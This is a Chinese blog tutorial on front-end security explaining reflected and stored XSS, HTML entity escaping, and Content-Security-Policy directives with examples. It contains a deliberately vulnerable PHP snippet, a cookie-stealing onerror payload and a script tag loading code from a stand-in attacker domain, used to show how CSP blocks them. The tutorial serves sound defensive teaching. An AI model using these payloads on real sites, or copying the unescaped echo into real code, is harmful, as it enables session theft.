skip to content
usubeni fantasy logo Usubeni Fantasy

前端网络安全必修 2 XSS 和 CSP

/ 9 分钟阅读

最后更新:

回顾上一篇:前端网络安全必修 1 SOP、CSRF 和 CORS

本文主要涉及内容为:

  • 跨站脚本攻击(Cross-site scripting,简称 XSS)
  • 内容安全策略(Content-Security-Policy,简称 CSP)

因为 CSP 诞生的主要目的就是防御 XSS 攻击,就把 XSS 放在前面讲吧~

XSS

<html>
<body>
<? php print "Not found: " . urldecode($_SERVER["REQUEST_URI"]); ?>
</body>
</html>

这是一个找不到页面时的通用提示代码,同时,也是一个极容易被 XSS 攻击的例子,它很老实地把用户发送的东西都直接塞到 html 里。

当然,你在访问 http://testsite.test/file_which_not_exist 的时候它会很正常地表现为:

Not found: /file_which_not_exist

但是如果想做点坏事,访问 http://testsite.test/<script>alert("我要做坏事");</script>,结果会是:

Not found: /

虽然看起来后面什么都没有,但是如果什么防范措施都没有的话,js 脚本已经顺利运行了

一般这种攻击能做的坏事是盗取用户 cookie,例如插入这样一段代码:

<img src="xx" onerror="post('../evil.php?cakemonster=' + escape(document.cookie))" />

上面这种利用错误信息和搜索结果的反射进行的 XSS,称为反射型 XSS

还有另一种 XSS 是储存型 XSS

储存型也比较容易理解,攻击者把恶意脚本提交到被害服务器,并成功储存,所有人访问特定页面都会遭到攻击。

举个例,要放到富文本编辑器的内容如果不小心处理就很容易被储存型 XSS 攻击。

你可以在这里对比一下 XSS 过滤前后的区别。

另外还有恶名昭彰的 SQL 注入,原理也是差不多。

html 安全注入

html 会不安全,是因为 <> 等符号在 html 里都是有内涵的符号,如果像上面一样直接把 <> 插到 html 中,处理器自然会认为那是一个标签,而不是小于号和大于号。

对 html 字符串来说,真正的小于号是 &lt;,大于是 &gt;,意思就是 less than 和 greater than,类似的还有空格 &nbsp;

上面提到的转义字符分为 & + 实体名称 + ; 三个部分,你也可以使用实体编号而不是实体名称。例如 #60lt 的实体编号,&lt;&#60; 渲染出来就是同一个东西。

那么实体编号怎么查呢?建议直接用 charCodeAt()

"".charCodeAt(); // => 32593

&#32593; 就等于“网”字,如果你愿意,甚至可以全都使用实体编号来代替文字 😂

以上是当你使用 php 等处理得到的 html 或是使用 JavaScript 的 innerHTML 赋值等 dom 操作时需要注意的内容(react 用户可能知道,react 已经用属性名 dangerouslySetInnerHTML 很明确告诉你这个操作很危险)。如果你是使用 innerText 插入的话你插入的是普通字符串而不是作为 html 插入,所以放心使用 <> 吧,他们就是小于和大于的意思 😀

虽然对用户输入进行严格转义并使用安全的 DOM 操作可以有效防范 XSS 攻击,但在复杂的项目中难免会有疏漏,导致恶意脚本被成功注入页面。如果恶意代码真的被注入了,难道就只能任由它执行和搞破坏吗?

这个时候,就该引入 CSP 了!

CSP

简单来说,CSP 就是一个白名单机制,只允许你的网页里读取指定域名的资源,可用于防止 XSS 攻击

使用 CSP 的第一种方法是在 HTTP 头定义 Content-Security-Policy:

Content-Security-Policy: default-src https://cdn.example.net https://cdn.example2.net; object-src 'none'

CSP 的值中,不同属性以 ; 隔开,同一属性的多个值以空格隔开。上面例子的意思就是默认允许读取 https://cdn.example.nethttps://cdn.example2.net 的资源,object-src 使用的相关资源无白名单,也就是完全不允许读出。

如果使用了不符合要求的资源,浏览器会给予拦截,给出下面的提示:

Refused to execute inline script because it violates the following Content Security Policy directive

你也可以使用 meta 标签代替 HTTP 头:

<meta
http-equiv="Content-Security-Policy"
content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"
/>

Content-Security-Policy 的常用选项有这些:

  • default-src 是 src 选项的默认值,但不能覆盖以下值:base-uri、form-action、frame-ancestors、plugin-types、report-uri、sandbox
  • base-uri 特别说一下 <base> 标签是因为孤陋寡闻的我第一次见到。 指定用于一个文档中包含的所有相对 URL 的根 URL,一个文件只能有一个 <base> 标签,用起来大概是这样的:<base target="_top" href="http://www.example.com/">
  • connect-src XHR、WebSockets 等连接使用的地址
  • font-src 字体文件来源
  • img-src 图片地址
  • media-src 音视频地址
  • object-src Flash 相关
  • report-uri 出现报错时提交到指定 uri,不能在 <meta> 标签使用
  • style-src 样式文件

在资源列表中除了指定域名,你还可以使用下面四个关键词,注意一定要加单引号

  • ‘none’ 不进行匹配
  • ‘self’ 当前域名,不包含子域名
  • ‘unsafe-inline’ 允许行内 JavaScript 与 CSS
  • ‘unsafe-eval’ 允许类 eval 操作

当 CSP 正确设置,XSS 插入的行内代码或外部 js 文件就会被拦截。

CSP 防御 XSS 实例

假设你的网站设置了以下 CSP 规则,只允许加载同一源和指定 CDN 的脚本,并且没有允许行内脚本(未配置 'unsafe-inline'):

<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://trusted.cdn.com" />

此时,如果攻击者通过评论区留言等方式成功注入了如下的恶意代码:

<!-- 注入恶意的行内脚本 -->
<script>
// 想要做点坏事
alert("窃取 Cookie: " + document.cookie);
</script>
<!-- 或者尝试加载非白名单的外部恶意脚本 -->
<script src="https://evil.attacker.com/steal.js"></script>

这段恶意代码虽然被服务器保存并成功返回渲染到了用户的 HTML 页面中,但由于 CSP 的存在,浏览器在加载解析时会严格按照策略,直接拦截并拒绝执行这部分不受信任的代码。打开开发者工具(F12)的控制台,你会看到红色的报错信息:

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' https://trusted.cdn.com". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.
Refused to load the script 'https://evil.attacker.com/steal.js' because it violates the following Content Security Policy directive: "script-src 'self' https://trusted.cdn.com". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback.

说个题外话,最近在开发 Tauri 应用,打包到生产环境莫名其妙丢失样式,就是因为 Tauri 的 CSP 策略。排查了好久最后生产开 debug 才发现控制台有 CSP 报错……

通过 CSP 这道防线,攻击者的 XSS 阴谋就宣告破产了。当然这是最后一道防线了,前面提到的转义等操作也是对付 XSS 不可或缺的好方法。

希望大家以后在使用 php、jsp 等后端语言构造 html 文档时要认真思考有没有 XSS 漏洞;另外,在前后端分离发展蓬勃的今天,XSS 可能出现在富文本编辑器中,也同时需要多加注意。

拓展阅读

参考

推荐阅读

评论组件加载中……